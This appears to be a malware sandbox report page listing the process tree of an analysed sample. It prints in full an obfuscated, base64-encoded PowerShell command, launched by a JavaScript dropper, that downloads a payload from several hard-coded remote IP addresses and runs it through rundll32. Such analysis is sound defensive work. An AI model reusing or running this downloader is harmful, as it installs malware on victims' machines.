popup
| ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Zlfrtg.js

    3060

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAZABlAGwAaQBjAHQAcwBBAHIAZQBvAHAAYQBnAGkAcwB0ACAAPQAgACgAIgBoAHQAdABwADoALwAvADEANwAyAC4AOAA2AC4AMQAyADEALgAxADkANgAvADEAZABMAEgALwBOADcAMwAyAGgAUgB1AEcAYgA2ACwAaAB0AHQAcAA6AC8ALwAyADAAOQAuADkANwAuADEANQA4AC4AMQAwADQALwBHAGQATABUAFoAUQAvAGQASQBtAFoAVwAyAEIAOABCAGIALABoAHQAdABwADoALwAvADQANQAuADUANQAuADMAOAAuADEANQA2AC8AZwBVAEsAbwBWAHMASwAvAHgAYgAyADEAbQB1AEwAQQBMAEsAbwAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABVAG4AbQB1AGwAYwB0AGUAZABNAG8AbgBvAG8AdQBzAGkAbwB1AHMAIABpAG4AIAAkAGQAZQBsAGkAYwB0AHMAQQByAGUAbwBwAGEAZwBpAHMAdAApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAVQBuAG0AdQBsAGMAdABlAGQATQBvAG4AbwBvAHUAcwBpAG8AdQBzACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA5ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABkAGUAcABsAG8AcgBhAGIAbABlAC4AcgBlAHMAcABvAG4AcwBhAGwATABpAHIAYQB0AGkAbwBuADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAZABlAHAAbABvAHIAYQBiAGwAZQAuAHIAZQBzAHAAbwBuAHMAYQBsAEwAaQByAGEAdABpAG8AbgApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAYwB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDAEEAQQBjAGcAQgAxAEEARwA0AEEAWgBBAEIAcwBBAEcAdwBBAE0AdwBBAHkAQQBDAEEAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAUQBBAFIAUQBCAE4AQQBGAEEAQQBYAEEAQgBrAEEARwBVAEEAYwBBAEIAcwBBAEcAOABBAGMAZwBCAGgAQQBHAEkAQQBiAEEAQgBsAEEAQwA0AEEAYwBnAEIAbABBAEgATQBBAGMAQQBCAHYAQQBHADQAQQBjAHcAQgBoAEEARwB3AEEAVABBAEIAcABBAEgASQBBAFkAUQBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwB3AEEAVgBBAEIAcABBAEcAMABBAFoAUQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AH0AfQA="

      2224

Process contents

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID
default registry file network process services synchronisation iexplore office pdf